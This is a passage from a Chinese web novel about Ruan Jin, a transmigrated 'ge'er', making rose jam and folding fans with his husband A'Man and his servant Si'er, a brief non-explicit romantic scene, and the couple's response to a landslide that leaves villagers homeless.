而且哥儿本来就是易孕体质,自己却一点动静都没有,该不会是不孕吧? 阮锦哆嗦了一下,心想他倒也不是非得执着于生一个孩子,有没有孩子其实对他和阿蛮来说倒也没有什么太大的影响。 只要身体健康就好。 不过以防万一,他还是决定等九大夫回来给他把一下脉。 阮锦道:“你自己都还是个孩子,怎么就想着抱孩子了?” 四儿反驳道:“我才不是孩子了,我马上就十五岁了!” 在这个时代,十二三岁就开始议亲,十五岁确实有的都有孩子了。 阮锦轻笑:“好好好,不是孩子了,四儿长大了。咱们蛮锦食记现在那么多人,你可以看入眼的?要是有喜欢的,我来给你牵红线!” 四儿却叹了口气,摇头道:“没有。” 阮锦惊讶道:“一个也没有?我觉得尉迟融还不错啊,你喜欢吗?” 四儿吓得猛然站起身道:“少爷可别乱点鸳鸯谱,那尉迟融是什么人,哪是我们普通人可以肖想的?再说了,我并不喜欢尉迟公子。” 阮锦忽略了他的前半句,只问道:“哦?不喜欢?为什么呀?” 四儿答:“说不出来为什么,就是不喜欢。” 阮锦问:“那四儿喜欢什么样的?” 四儿有些不好意思,顿了片刻后还是答道:“我喜欢有担当的,有男子汉气概的,就像大街上偶尔走过的那些将军一样……” 阮锦点了点头道:“明白了,四儿喜欢爷们儿一点的,鱼翅看上去还是太文弱了些,对吧?” 四儿一跺脚,捂着脸道:“哎呀少爷,你是不是又在打趣我了?” 阮锦哈哈哈笑了半天,说道:“这哪是打趣,若是四儿哪天真有心仪的郎君,少爷我绝对会亲自登门为你说亲的。” 四儿却转移了话题道:“不说这些了,我不想去别处,只想跟着少爷。若是以后能一直和少爷在一起,那像少爷一样找个入赘也是可以的。对了少爷,你弄这些花到底要做什么呀?你是在……摘花瓣?” 阮锦拿了个大铜盆放到地上,一边把一片一片的玫瑰花瓣摘到盆里一边点头道:“对,想做一点玫瑰花酱,做好了包些鲜花饼给你们尝尝。” “鲜花饼?”四儿惊喜道:“又有新的吃食可尝啦?” 阮锦一脸神秘道:“不光有新的吃食,还能美容养颜呢!等到阿蛮做好了铜鼎,我还能做些玫瑰精油和花露,也可以用来护肤养肤。咱们这种天天在外面风吹日晒的,确实得好好养护一下皮肤。” 四儿摸着自己的脸,随即从怀里掏出小铜镜,皱眉看着自己的脸道:“确实晒黑了不少啊!” 说着他又看向阮锦,瞬间开始疑惑:“可是少爷你为什么晒不黑?你的皮肤一直都这么白,而且不长疙瘩,还水水嫩嫩的。哎呀少爷,这是不是就是别人说的天生丽质。” 阮锦起了一身鸡皮疙瘩,把天生丽质这个词用到男人身上还真是不习惯。 不过他一个哥儿,倒也无所谓了。 阮锦也凑到了铜镜旁边,看了看镜子里的自己,捏了捏脸道:“看着确实要白一些啊!可能是我最近没在外面跑。” 四儿否定道:“不是的少爷,从前咱们俩一起去摘桃子。一天下来,我晒的黢黑黢黑的,你却只是晒红了一点点,第二天早晨还是白白嫩嫩的。要么所有人都说你是咱们十里八村最漂亮的哥儿,我看一点都不假!” 阮锦被四儿夸的起了一身鸡皮疙瘩,说道:“再夸下去我就不知道姓什么了。来吧四儿,咱们一起把这些花瓣摘下来,洗净晾干做些玫瑰酱。” 四儿买来的是重瓣玫瑰,是适合食用的品种,不过古代玫瑰花都是无公害无污染,基本上每个品种的玫瑰都能吃,只是口感上还是这种花朵大而肥厚的更好吃。 两人摘了足足一大盆的玫瑰花瓣,打了井水洗干净,便摊在簸箩里面晾着。 此时街道外面,正有一队兵马徐徐走过,恰好与从铜铺回来的阿蛮走了个迎面。 阿蛮却因为阮锦的图纸被风吹走而转了身,急急追出去十几米才折返回来。 待到他折返回来的时候,那一队兵马便已经远去了,而为首的将军正是找了他月余的蒙铎。 蒙铎身后的囚车里押着一名囚犯,囚犯被蒙着头,身上穿着囚衣,算是给这月余的寻找划上了一个句号。 阿蛮只是随意的看了一眼远去的人马,便转身走进了巷子里。 此时又开始下雨,头顶传来隆隆的雷声,阮锦从巷子里迎了出手,手上正举着阿蛮给他雕的那把伞。 他一边快步的跑向阿蛮一边道:“又下雨了,阿蛮淋湿了没有?” 阿蛮摇着头,却并不在意自己,而是认真的擦试着被弄脏了的图纸,十分抱歉的说道:“我把它……不小心弄脏了。” 阮锦不是很在乎的说道:“脏了就脏了,反正也是一次性的,铜匠拓好了样式丢掉就可以了。” 阿蛮却十分珍惜的揣进了自己的怀里,倔强的说道:“不行,这是阿锦……亲自画的,不能丢掉。” 阮锦无奈,挽着他的胳膊往回走,说道:“好好好,听我们阿蛮的。雨要下大了,我们快回去吧!” 南方的天气就是如此,雨说下便下,一下便是好几天。 阮锦总觉得心里不是很踏实,似是这接连几天的连绵阴雨,搞得他心情也有些低落了。 回去的时候,四儿已经细心的把玫瑰花用纱布擦拭干净了,阮锦见状,赶紧拿出了白糖和石榴,准备把它们做成玫瑰酱。 玫瑰酱里放石榴汁是为了防止氧化用,酸石榴可以说是天然的防腐剂,可以延长玫瑰酱的保质期。 古代没有防腐剂,用这些酸性的水果是十分不错的选择。 第69章 雨水淅淅沥沥地打在屋檐上,院子里弥漫着湿润的花香,阮锦将晾干的玫瑰花瓣拢进铜盆里,指尖轻轻揉搓着花瓣,粉白的指尖很快染上了一层深红的玫瑰花汁。 “少爷,这样就行了吗?”四儿蹲在旁边,好奇地看着阮锦的动作。 “还得加糖呢。”阮锦笑着,从橱柜里取出一罐白砂糖,又摸出几颗酸石榴,利落地剖开,挤出小半碗石榴汁。 他小心地将白糖分次倒入花瓣中,一边揉搓一边解释:“石榴汁防氧化,还能让玫瑰酱的颜色更鲜亮,放久了也不容易发黑。” 阿蛮不知何时凑了过来,鼻尖轻轻蹭了蹭阮锦的耳垂,低声道:“阿锦……好香。” 阮锦耳根一热,手上的动作却不停,笑道:“别闹,等做好了更香。” 随着揉搓的动作,花瓣渐渐渗出深红的蜜汁,与白糖融为一体,散发出浓郁的甜香。 四儿忍不住凑近闻了闻,惊叹道:“真的比花还香!” 阮锦将揉好的玫瑰酱装进一只青瓷罐里,又在最上层撒了一层厚厚的白糖封口,防止霉变。 “这样密封起来,放在阴凉处发酵一个月,就能吃了。”阮锦满意地拍了拍罐子,转头对阿蛮眨了眨眼,“到时候给你做玫瑰馅儿的酥饼,如何?” 阿蛮眼睛一亮,点头道:“好。” 四儿在一旁咽了咽口水,已经开始期待:“少爷,能先尝一口吗?” 阮锦失笑,用指尖蘸了一点未封存的玫瑰酱,点在四儿的唇上:“小馋猫……喏,尝尝味道。” 四儿舔了舔,眼睛瞬间睁大:“又甜又香!比蜜饯还好吃!” 阮锦笑着摇头:“这还不算完成呢,等发酵好了,味道会更醇厚。” 雨声渐歇,天色微晴,阮锦望着院中那盆沾着雨珠的玫瑰花,心想——等阿蛮的铜鼎做好,玫瑰精油和花露也该提上日程了。 到时候,他和阿蛮的夜,怕是要更旖旎几分…… 想到这里,阮锦的耳根红了红,当即起身岔开了话题,说道:“趁着天晴了,我们快把这几天攒的衣服洗了吧!再不洗就要发霉了。” 四儿赶紧道:“好,我这就去把咱们的洗衣机弄好!” 说着他把脏衣服全都拿着塞进了洗衣机里,又往皂角盒里放了皂角,随着水流的冲刷,脏衣服逐渐变得干净起来。 只是天公不做美,他们的衣服刚晾了半干,又开始淅淅沥沥的下雨。 几人赶紧把衣服收进了房间,平摊的搭在晾衣架上。 阮锦有些忧心忡忡的接着屋檐下滴下来的雨水,抬头看着乌濛濛的天色道:“这雨下了好几天了,再这么下下去,怕是要出事儿。” 四儿正在用扇子扇着衣服,下雨天,如果不快点弄干,极有可能有一股霉味儿。 一听阮锦这么说,四儿便道:“出事儿?会出什么事儿呀?往年也是,一到雨季就会下很多雨。不过都是断断续续的下,不会一下这么多天不停的。” 阮锦也没再多想,只是转头对阿蛮道:“阿蛮,我们做扇子吧?我答应了鱼翅给他做把扇子,顺便给三儿和四儿也做一把。” 四儿好奇的问道:“咦?少爷要做扇子?做什么样的扇子呀?咱们集上卖的草编扇子不就挺好的?” 阮锦轻笑:“草编的扇子,哪里配得上咱们尉迟小侯爷的气质啊!” 四儿咕哝一声:“也是,小侯爷天天招摇过市,拿着把镶金的羽毛扇,不知道的还以为是诸葛先生呢。” 阿蛮一听阮锦要做扇子,当即说道:“给我也做一把……可以吗?” 阮锦答:“好呀!阿蛮想要什么样的扇子?” 阿蛮想了想,说道:“要……小泥鳅的吧!” 阮锦扑哧一声笑喷了,心想好好好,你的脑子里只有小泥鳅是吧? 阮锦铺上宣纸,点头道:“好,那我来画图纸,阿蛮来做,到时候再请先生来写上几个好看的字可好?” 阿蛮却摇了摇头:“不不不,我会写字,让我……来写!” 阮锦从来没见过阿蛮写字,只见过他雕字,没想到他竟还能写字? 阮锦点了点头,应道:“那就让阿蛮写,阿蛮写的更有价值。” 四儿好奇的问道:“少爷,要做什么样的扇子?” 阮锦道:“做好了你们就知道了。” 其实就是后世文人雅士用的折扇,以竹为柄,以纸为面,上面写上字或者画上画,有的还用帛或者绸,甚至还有的洒上金箔。 阮锦就打算为尉迟融做一个酒金箔的,以增添他小侯爷的气场。 和着窗外淅淅沥沥的雨声,阮锦铺开宣纸,提笔勾勒出折扇的轮廓。 阿蛮凑在一旁,看得认真,时不时伸手比划两下,似在琢磨如何雕刻扇骨。 “扇骨要用细竹,劈成十六股。”阮锦一边画一边解释,“阿蛮,你帮我削竹片可好?要薄如蝉翼的那种。” 阿蛮点头,转身去院中取了新砍的翠竹。他手法利落,竹刀在指间翻飞,不一会儿就将竹片削得纤薄透光。四儿在一旁看得目瞪口呆:“姑爷的手艺也太精巧了!” 除此之外,最边上的两只扇骨阮锦还让阿蛮雕了四友图,这么复杂的纹中,阿蛮竟然一会儿便雕完了,还是镂空雕刻,不愧为做木雕的老手。 阮锦接过竹骨,用丝线一一串连,又取出珍藏的洒金纸,轻轻覆在扇骨上:“这把给小侯爷的,得用最好的材料。” 只是扇面儿还是空白的,阮锦打算几把扇子做好后统一让阿蛮题字。 两人配合默契,很快制好了三把折扇。 阮锦又取来绢布,准备做宫扇。 “牡丹这把给仙儿,花鸟的给三儿。”宫扇最适合女孩子,能衬出女妇的柔美与明媚。 两把折扇一把稍大,一把稍小,大的是洒金纸的给小侯爷,小的是绿苔纸给四儿。 扇子制完了,阮锦对阿蛮道:“来,你来给四儿的扇子题个字吧!” 阿蛮问:“写什么?” 阮锦轻笑:“你觉得写什么合适?适合四儿的,你想写什么就写什么。” 四儿好奇的在一旁探头探脑,只见阿蛮提笔蘸墨,悬腕写下了四个大字:清风徐来。 阮锦惊讶地看着扇面上渐渐成型的清风徐来四字,笔锋凌厉又不失雅致,竟是一手十分漂亮的小篆。 “阿蛮竟藏了这样一手好字!”阮锦十分意外的惊呼。 阿蛮耳尖微红,不好意思的说道:“忘记是什么时候学的了,应该是……儿时的长辈逼着学的。” 记忆里有一个模糊的女子身影,温柔的捏着他的手,一笔一划的教他写着字。 四儿捧着成型的折扇爱不释手:“这可比集市的扇子精致百倍!少爷你真是太厉害了!” 说着他还扇了扇风,脸上又露出了惊喜:“哇,这个扇出来的风也很凉快。既实用又好看,少爷,这扇子如果批量做,肯定能卖不少钱!” 阮锦点了点头:“嗯,倒也是一个生财之道。四儿想去跑这条线吗?反正食记有阿大,酒楼有三儿,你如果想跑百货线的话完全有时间。” 四儿当即摆手道:“不行不行,少爷,我不行的……” 阮锦一脸无语:“又是不行,你们怎么都这样?记住,所有人都行,只看你有没有这个机会。人的智商大差不差,只要不是特别聪明的,只要把你放到那个位置上,你自然而然的就行了。只要你肯去试,总有行的一天。” 四儿抿了抿唇,仍然有些犹豫,阮锦懒得劝他,只是一把将两种扇子的图纸塞到了他的手里,说道:“好了,你先把图纸拿去,想不想做就是你自己的事情了。做成以后,你和他们一样,拿三成利!” 四儿吓得一边后退一边拒绝:“不行不行不行,这绝对不行!少爷,我这个月已经拿了十两了,反正我是不会再拿钱的。再说,我本来就是少爷的家奴,哪里还有再拿钱的道理!” 阮锦轻轻叹了口气,说道:“行啊,你不想要就别要,我给你存着当嫁妆。到时候给你铺上十里红妆,迟早用得上。” 四儿一脸无语,一手拿出图样道:“行了少爷,你不就是想逼我出这个头吗?看来这事儿我不干还不行了!行,明天我就去找篾匠、纸商和布商!再招几个工人,让他们去给我做扇子!” 阮锦笑了两声,拍着他的肩膀道:“这就对了,人么,都是要锻炼自己的。你不去试,怎么知道自己不行呀?” 四儿咬着下唇,重重的点头道:“我知道了少爷!大哥有独立的事业,三儿也有独立的事业。如今,我也要有自己独立的事业了。少爷放心,我一定会努力把它做好的!” 阮锦赞许的对他比了个大拇哥,便让四儿自己去忙了。 此时天色近晚,外面的雨还在下,阮锦转头看向阿蛮,意外的看着桌子上那把与众不同的折扇,只见上面仍是一片空白。 阮锦问道:“阿蛮这是怎么了?为什么不画小泥鳅了?不是说想要小泥鳅的扇子吗?” 阿蛮拉过阮锦的手,说道:“阿锦……帮我画!” 阮锦指了指自己了鼻子,一脸不敢置信的问道:“啊?我?我不会画啊!” 他画个图样还行,都是线条,画画是真的不行。 阿蛮却执拗的拉着他的手,还晃了晃,一副撒娇的语气:“就要你……帮我画!” 阮锦的唇角抽了抽,说道:“那……你可别嫌我画的丑啊!” 阿蛮笑嘻叶:“不会哒!” 片刻后,两只抽像的大泥鳅出现在了扇子上,仿佛两只长了胡子的海参。 第70章 看着自己的画作,阮锦自己先笑喷了,他一边笑一边道:“你看看,这么好看的扇子被我画成这样了,丑不丑?” 阿蛮却是一脸的倔强,摇头道:“不丑,我……喜欢。” 阮锦突然就不笑了,他看着阿蛮认真的眼睛,问道:“真的?” 阿蛮重重的点头,嗯嗯两声:“只要是阿锦画的,阿蛮……都喜欢!” 阮锦勾起唇角,主动的搂上了阿蛮的脖子,贴上了他的唇。 两唇相贴,阿蛮的舌便探了进来,熟悉的吸吮着他的唇瓣和舌肉,舔食着他口中的每一寸皮肤,两人渐渐意乱情迷起来。 阮锦稳住了自己的呼吸,小声对阿蛮道:“阿蛮,虽然你最近很会哄人,也不代表我可以一直纵容你。” 阿蛮低低的笑了笑,他的手却已经勾住了他垂落下来的头发,抚摸着他脸夹上细嫩的皮肤。 怀中的人儿乖巧又迷人,阿蛮禁不住在他唇边亲了亲。 阮锦的眼神变得微暗了起来,他踮起脚尖扬起下巴,张口也轻轻吻住了阿蛮。 窗外的雨声渐密,似是越下越大了,屋檐下的水珠连成晶莹的帘幕,将屋内的氤氲隔绝出一方天地。 阿蛮的手掌贴着阮锦的后颈,加深了这个吻。 阮锦的呼吸早已乱了,被阿蛮亲吻着紧紧拥在怀里,只是桌角硌得他微微蹙眉,他本想躲开,可阿蛮的吻又追上来,将他那一点吃痛的轻哼尽数吞没。 好在阿蛮护着,并未让他真的嗑上桌角。 “阿蛮……”阮锦的指尖陷进阿蛮的肩胛,布料下男人爆发力十足的胸肌绷得极紧。 他逃避般的偏开头,却躲不开阿蛮追咬过来的齿尖,“我们……回房间吧!” 这里是客厅,虽然家里只有他们三个,可阮锦总觉得在客厅里接吻有种被人窥视的羞耻感。 阿蛮却恍若未闻,掌心顺着阮锦的后背一寸寸轻轻拍抚着,隔着薄衫也能摸到那分明的骨节,阿蛮心想阿锦真的太瘦了。 他的唇贴住阮锦的耳垂,含混地低语:“阿锦画的画……好看。” 那么丑的画,他竟然觉得好看。 阮锦失笑,可笑意还未绽开,便被阿蛮轻柔的拥进了怀里。 “你……”阮锦脚下一个不稳,整个人几乎要滑下去,又被阿蛮一把捞住。 随着阮锦的拥抱,裸露在空气里的后颈皮肤被恶意地掐了一下,阮锦无奈地仰起脖颈,控制不住的嘶了一声,“阿蛮……你真是越来越会欺负人了!这样的阿蛮,可不是乖阿蛮。” 阿蛮低笑,鼻尖蹭着他汗湿的鬓角,另一只手却十分不听话的扯动着他的衣角。 衣襟散乱,露出一截莹白的皮肤,阿蛮的掌心贴着那颈腕的曲线摩挲。 欲拒还迎间,阮锦猝不及防踉跄一步,后背撞上书架,几卷画轴哗啦啦滚落在地。 他羞恼地瞪向阿蛮,却被对方眼底翻涌的神色灼得浑身发烫,“死阿蛮……你是不是疯了……唔!” 剩余的话被阿蛮用吻封住,这个吻比先前任何一次都要凶狠,阮锦用力的推着阿蛮,阿蛮却任性一般紧紧搂着他,不让他逃离他的桎梏。 衣衫半褪时,门外忽然传来四儿焦躁的脚步声:“少爷,出大事了——” 阮锦浑身一僵,阿蛮却眼疾手快地扯过一旁的外袍将人裹住,转身时宽肩彻底挡住了阮锦的身影。 四儿掀帘的手顿在半空,对上阿蛮黑沉沉的眸子,吓得一个激灵:“我、我什么都没看见!” 脚步声慌乱远去,阮锦从阿蛮怀里探出头,脸颊红得几乎要滴血:“啊啊啊死阿蛮!都怪你!” 说着他抬脚去踹阿蛮的小腿,却被对方顺势握住脚踝,指尖暧昧地划过脚心,并带起脚踝上那银铃一阵阵的晃动。 阿蛮将人打横抱起,大步走向内间,低头时犬齿轻轻叼住阮锦的耳垂:“继续欺负阿锦……好不好?” 阮锦气的想打人,心想这个小傻子,真是越来越坏了。 可他为什么,就这么喜欢这个小傻子呢? 就算被小傻子欺负,他心里也是甜甜蜜蜜的。 窗外雨幕笼罩,室内床帐漫卷,最后一把空白的折扇被胡乱扫落在地,扇骨硌着阮锦的后颈,又被阿蛮抽走扔开。他喘息着去勾阿蛮的脖颈,在颠簸的浪潮里模糊地想…… 明日定要教阿蛮这混蛋,把那把泥鳅扇子上的字补全…… 暮色四合,阮锦和阿蛮终于出了房间,饶是阮锦的脸皮够厚,出门的时候也忍不住红了脸。 方才他和阿蛮做了些什么,四儿可是全看到了,以后可不敢再这么没有避讳的做事,至少要把门锁上。 此时九大夫和四儿都坐在凉亭里,两人似是有交谈着什么,看到阮锦出来了两人也没有任何要取笑他的意思,反倒是都是一脸忧虑的看向他。 阮锦一看就知道,应该是出事了,便问道:“是出什么事了吗?” 九大夫声线低沉的说道:“是阮家村和周边的几个村子,山体滑坡了,阮家村被埋了一半。赵大人已经带人去救灾了,怕是会有不少伤亡。” 阮锦眉心微蹙,虽然他对阮家村无感,但那毕竟是原主的家乡。 那里的人,也不是全然的坏人,只是村子里的水土就是如此,情报部门人云亦云,还有些是纯纯的随大溜。 当然,也有真坏的,但真坏的已经得到报应了。 哪怕是眼睁睁看着那么多普通人被山体滑坡埋进泥石流里,阮锦也会于心不忍的。 阮锦叹息道:“真是天有不测风云,也不知道情况怎么样了。” 九大夫摇了摇头:“我也是在阮家村待了三年的,那边的人多数都是淳朴善良的,希望他们都平安吧!明天赵大人会把人暂时安置在县里那片空置的废宅里,我去看看有没有人受伤,也略尽一点自己的绵薄之力。” 阮锦嗯了一声:“那我明天带着四儿去施粥吧!他们刚刚遭受了灾难,肯定没来得及把家里的财帛带出来。” 四儿点了点头,应道:“好的少爷,我跟你一起去!” 九大夫又道:“对了,三儿让我给你们打包带回来了一些饭菜,今晚就别做饭了,早点吃了早点回去休息,明天怕是有得忙了。” 阮锦和四儿点了点头,四儿拎着食盒去摆饭,阮锦则叫住了九大夫:“九哥,你可不可以帮我把个脉?” 九大夫看向阮锦,问道:“嗯?身子哪里不舒服吗?” 阮锦小声道:“也……没什么,我就是……想让你帮我看看。我这都成婚快两个月了,也没有要怀孕的迹象,我这身子是不是有什么问题?” 九大夫了然的伸出了手,阮锦捋起袖子放到石桌上,九大夫仔细的感受了片刻说道:“你这身子有点虚啊!我之前就说过,你这身子太弱,怕是不好坐胎。只是,不好坐胎倒也是其次。如果长期下去,于健康也不好。这样吧!我给你开副药,你喝上一两个月,补气血调阴阳。” 说着九大夫便打开了他随身的医药箱,开始写药方。 阮锦看着九大夫开的药方,眼前便是一黑又一黑,小声逼逼道:“你们医生开方子还真是一脉传承哈?” 生怕别人能把字看清了。 九大夫不解的看向他,问道:“嗯?” 阮锦赶紧摆手:“没什么没什么,那个……谢谢九哥。” “自家人,别客气。” 这时,四儿那边喊他们吃饭了,两人便起身回了客厅吃饭。 第二日,雨终于是停了,官道上熙熙攘攘的行商客也恢复了通行,只是多了不少无家可归的流民。 县城西北角的大场院里搭起了一个个的帐篷,受了灾的百姓们全都暂时安置在了这里。 其中阮家村的众人都凑在了一起,原本记忆里一张张熟悉的脸,此时均是愁云惨淡,甚至还有人在默默的哭泣。 阮锦叹了一口气,过去和他们打了一声招呼:“三嫂,四婶,五叔,六伯,你们这是……” 众人看到阮锦,都仿佛看到亲人一般,拉着他的手便开始哭,其中六伯哭的最凶,一边哭一边道:“是锦哥儿啊?唉,锦哥儿啊,你六伯母和你堂兄一家三口全没了……” 阮锦心里一惊,一场泥石流,死了一家四口,阮锦也不知道该如何安慰他。 好在六伯还有个女儿,在一旁小声的安慰着他。 三嫂和四婶却是一言不发,她们在村子里的时候就是和二婶一伙儿的,向来看阮锦不顺眼。 阮锦也没说什么,只是在旁边支起了锅灶,和四儿一起煮起了粥。 他一边煮粥一边招呼着大家:“大家还能动的都来帮一下忙吧!我带了不少米过来,一起喝点热乎的,暖暖身子。” 一旁的人闻言赶紧凑了过来,帮着一起支锅架灶,煮起粥来。 九大夫也在不远处帮助伤者包扎伤口,帮得了风寒的人开药熬药,并且没有收取任何报酬。 县令赵丰见状十分感激的朝他们点了点头,说道:“渊都很快就会有官员南下赈灾,这次东南郡受灾的地方不少。南边连续下了半个月的雨,比我们这儿受灾的情况还要严重。唉,再继续下下去,怕是还要出大事。” 天灾人祸,这都是人类发展史上最难以抗衡的阻碍。 阮锦知道自己的帮助也只是杯水车薪,可他也的确没办法坐视不理。 而此时的渊都,也的确有一队赈灾队伍正缓缓向南出发,带队之人正是长兴侯之子齐颂声,也是京城才华横溢,名满渊都的第一哥儿。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 在这个四国割据的时代,只有帝王本家才可以随国姓,其余都要姓本姓。 哪怕长兴侯是夜昙的亲叔叔,没有当上王,他也只能姓齐。 同理,他的儿子也得姓齐。 齐颂声是长兴侯妾室的儿子,也是他最宠爱的儿子,是侯府唯一的哥儿。 这位哥儿从小千娇万宠,也因为容貌和才情而名扬渊都,也是因此而养成了他骄纵的性子,觉得世间哥儿除了他,都是不堪入眼的。 此次赈灾,本来端阳公主派来的人是九卿之一的大司农迟麟迟大人。 因着南方水灾严重,且处处都有不同程度的山体滑坡,公主对这件事非常看重,便亲自点了大司农前去赈灾。 但临行前,长兴侯却找上了她,说是要让自己的小儿子齐颂声一起前往。 当时他的理由是:“颂声得知南方水灾,哭了一晚上。你是了解他的,他从小心地善良,哪怕在路上遇到个乞丐都会心生怜悯,把身上所有的银子都掏给他们才算安心。这次东南郡死了那么多人,不如就让他跟着去历练历练吧!” 本来,各国哥儿都是不许参与朝政的,他们比之女子的地位都不如。 但所有人都知道,渊王是个奇葩,他不光任用女子,甚至任用哥儿为大司农。 没错,迟麟迟大人也是一名哥儿,他的夫君甚至是黑羽卫的将军。 端阳公主表面上没说什么,心里知道长兴侯是来她这里找补的。 上次她在前殿下了他的面子,这次他说什么也得找回场子。 端阳公主当然得给他这个面子,毕竟现在朝中还有半数人是长兴侯的人,渊王不在朝堂,这个时候不宜与他撕破脸。 虽并不情愿,却还是答应了他的请求。 按照她和关内侯的计划,这次迟麟迟大人前去赈灾,私底下还要联合黑羽卫一起寻找渊王的下落。 如今有了齐颂声摆在表面上,恐怕迟麟不好明目张胆的去和黑羽卫联络。 毕竟他和黑羽卫的关系,朝中之人并不知晓,属于地下夫夫。 迟麟清俊的面孔上染上愁容,心想跟着尊活祖宗,也不知道是去赈灾,还是去游山玩水。 甚至有这个祖宗在,还要时不时的休整,一会儿渴了,一会儿饿了,一会儿累了。 终于,迟麟受不了了,发脾气道:“小公子,如果你吃不了这个苦就回去!我们是去赈灾,你每慢一刻,便会有不知道多少条性命因此而丧生!不如你自己在后面慢慢走,我们先行一步如何?” 齐颂声终于不折腾了,冷哼一声道:“我怎么就吃不了这个苦了?你以为这世界上就你迟大人是干大事的人吗?” 迟麟懒得和他计较,双腿一夹马腹,飞快朝前奔去。 此时的阮锦已经熬了五锅米粥,但聚集到此处的流民却越来越多,阮锦又让四儿去扛了五袋米过来,也有不少流民帮着一起熬煮。 阮锦把熬粥的活儿交给他们,找到了九大夫,对他道:“九哥,我觉得这样下去不行。” 九大夫问道:“嗯?是忙不过来了吗?” 阮锦看着那些流民道:“倒也不是,我只是觉得,哪怕给他们再多的食物,也只能解决一时的问题,解决不了全部的问题。” 九大夫笑了,说道:“你还要解决全部的问题?听说渊都那边已经派人下来赈灾了,来的是大司农迟麟。他是个清正的好官,相信这边的问题很快就能解决。” 阮锦摇了摇头,说道:“我不是说这些,我的意思是,这些流民之所以会待在这里,十有八九的是无亲可投了。年轻人还好些,这些老弱病残的怎么办呢?” 九大夫的表情里也露出了几分迟疑,他说道:“我们的力量终究是有限的,这些老人虽然还有些劳动能力。可……” 可眼下招工的,谁会用这些上了年纪的呢? 阮锦眨了眨眼睛,说道:“我倒是有些想法,九哥,要不我们收留他们吧?” 九大夫皱了皱眉,问道:“你说真的?这可不是一点半点的,这几百号人,你全都收留了?” 阮锦笑道:“九哥你别忘了,我们的奇货巷马上就翻新好了,那边是能住得下这些人的。” 一条巷子,几百米长,十几栋老房子,确实有几十上百个房间。 住下这些流民,绰绰有余了。 九大夫却仍是犹豫:“可是……” 阮锦拉着他的手道:“你看啊!我收留他们,年纪大一些的给我做扇子,年轻一些的还能去工场。妇女可以做精油香露,孩子也能做做零工。我再请个先生,教他们识识字什么的。我觉得……应该能运营得过来……吧?” 九大夫很是头疼,说道:“你可要想清楚了,这不是一个两个人,而是几百人。可能有四五百那么多!如果你管理好了,朝廷不会给你什么功劳。如果你管理不好,甚至会留下骂名。你确定你要这么做?” 阮锦俏皮的笑了笑,说道:“那就看他们自愿吧!愿意来的就来,不愿意来的就等着救济。” 九大夫想了想,最终还是点头道:“我知道,任何人劝你你都不会改变自己的主意的。你就是这样的人,永远以最善的念去对待身边的人。从你收留小五义的时候我就知道,你这个捡人的毛病怕是改不了。只是没想到,这次你一次就要捡那么多。” 不远处,赵大人正在帮着一起施粥,阮锦笑了笑道:“但是,你还是会一直在我身边支持我的,不是吗?” 九大夫有点无奈:“你不觉得这些话你应该对阿蛮说吗?毕竟他才是和你一起过日子的人。” “不用说。”阮锦想都没想便道:“他甚至不会多问一句,只会对我说‘只要阿蛮开心便好’。” 九大夫从无奈改成了无语:“好了,我知道你们感情好了,可以不要秀恩爱了吗?” 阮锦哈哈哈笑了半天,走到赵大人身边道:“大人,可否借一步说话?” 赵丰把手上的勺子交给了手下,擦了擦手跟着阮锦走到了一边的树林旁,问道:“阮郎君找我有事?” 阮锦乐把他的想法说给了赵丰,赵丰闻言当即朝他行了一个礼,说道:“郎君大义,你这真是解了我的燃眉之急。别看桃花县这边看上去问题不大,其实是因为这边地势高,东边、西边的县城水都有一人多深了,我们基本可以说是被水包围了。” 阮锦皱眉:“这么严重的吗?那……官道阻了吗?” 赵丰摇了摇头:“官道倒是畅通的,主要官道是根据地势所建,考虑的就是东南郡和南郡容易被水患威胁。但其余道路都被淹了,反倒是咱们桃花县的官道,成了南北往来行商的必经之路。郎君安心,倒是不影响你做生意。” 阮锦不好意思的笑了笑:“让赵大人见笑了,我就是人生意人,如果官道阻了,没有了客流量,我怕是也没办法顾及那么多人的生路。” 赵丰点头表示理解:“明白,郎君安心去做,我也会向上面为你申请减税的。如果你真的可以安置这些流民,我甚至可以为你申请免税。王上其实并非外面传的那样,他其实是个仁……呃……爱民的人。” 赵丰左思右想,还是把仁慈两个字儿给吞了回去。 要知道此次大王亲征塞北,可是杀了足足三千名幽军俘虏,就连他们幽国的大将卢卓都砍了脑袋。 但幽国上下向来只尊崇一个道理,就是弱肉强食。 他们不会怜悯弱者,甚至会欺凌弱者,尤其喜欢侵犯大渊西北边境。 这些幽军的手上,多少都有人命,且是无辜百姓的人命,杀了倒也并不值得同情。 阮锦虽然并不了解渊王,可这渊王被幽王折磨成那样,想报复回去倒是可以理解。 只是兴也百姓苦,亡也百姓苦,不论任何时代,老百姓都是上位者的耗材。 阮锦朝赵丰行了个礼道:“如此,那就太谢谢赵大人了,我这便去和乡亲们说一下。” 然而,就在阮锦刚要把大家聚集起来的时候,人群里突然传来一个声音:“我们有救了!我们有救了!听说京城那位佛子要来给我们赈灾了!我们终于有救了!” 阮锦一脸疑惑的看向人群,赵大人开口道:“哦,他们口中的佛子是长兴侯的小儿子齐颂声。不知道你有没有看过一幅流传度很广的画,上面是一个身后有佛性光环的小公子掏出了身上所有银两,交给了一个跛脚的乞丐。这就是京城佛子的由来,说这位小公子是佛祖转世入世历练。因为心怀悲悯,所以见不得世人受苦。” 听赵大人这么一说,阮锦对这个人的印象分还挺好的,他说道:“原来如此,看来是个心地善良的人啊?” 谁料赵大人却是轻笑了一声,说道:“谁知道呢,我也没见过他。但听说,还有人一个传言,说他的命格贵不可言。此番转世,也是为了护佑苍生的。” 阮锦听了这话忍不住想笑,什么佛子啊命格啊,他身为一个现代人肯定是不信的。 说白了,就是这些京城贵子贵女们给自己做的人设。 不过阮锦从来不反感别人做人设,伪善也是善,只要他真真切切的做好事,好事做多了,伪善也会变成真善。 只要别披着伪善的皮而做些伤天害理的事,只拿他应拿的便好。 阮锦没再多说什么,只道:“那劳烦赵大人,把大家聚集起来,我来和大家说说这件事吧!” 第72章 赵丰应了一声,吩咐了手下的差役一声,让他们把流民们全都集结起来。 差役们事儿办得也很快,片刻后便将流民们集结到了一起。 由于天还一直在飘着小雨,大场院里也是一片湿泞,流民们看上去状态都不太好。 阮锦不打算说废话,直截了当的说道:“乡亲们,我这边需要一些做工的人。包吃包住,按照收入给大家发工钱。一开始可能工钱不会太高,但肯定能保证大家的温饱。如果你们愿意,可以跟着我一起回去。我会给你们提供住处和食物,不过下个月会把房租从你们的工钱里扣出来。第一个月的伙食费是免费的,只要你们好好工作,能过三个月的试用期,后期的工钱也会涨。” 